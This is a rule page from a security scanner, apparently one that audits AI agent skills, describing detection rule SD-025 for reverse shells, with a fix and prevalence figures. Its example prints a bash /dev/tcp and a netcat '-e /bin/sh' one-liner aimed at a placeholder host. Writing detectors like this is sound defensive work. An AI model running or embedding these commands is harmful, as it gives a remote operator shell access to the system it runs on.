SD-025 — Reverse Shell
SD-025 flags a socket and a shell bound together — a /dev/tcp redirection, netcat with an execution flag, or an interpreter socket paired with a shell exec in the same file.
What it matches
A socket and shell together in a supported file: /dev/tcp or /dev/udp redirection, netcat execution flags, mkfifo/openssl relays, or an interpreter socket paired with shell execution.
Why it matters
If executed, a reverse-shell payload can open an interactive shell to a remote operator with the process's available privileges and network reach. Firewalls, sandboxing and credentials vary by runtime. The scanner reports the payload shape and does not open a socket or shell.
Example
bash
# In the skill's helper script: bash -i >& /dev/tcp/<collector-host>/<port> 0>&1 nc -e /bin/sh <collector-host> <port>
A socket and a shell in one statement; the session dials out, so an inbound firewall never sees it.
How to fix it
Remove the payload from executable instructions or scripts. If a security skill legitimately documents reverse-shell examples, label and defang them clearly; the heuristic may still report them because it cannot establish semantic intent.
Known false positives
A penetration-testing skill whose declared purpose is producing these payloads.
Standards mapping
Prevalence
Pattern SD-025 was detected in 8 of 16996 public skills scanned as of 27 October 2026.
current ruleset eb11e25d39bc2c81
Check your own skills
Scan a repository or a single skill against this rule and the rest of the catalogue, free.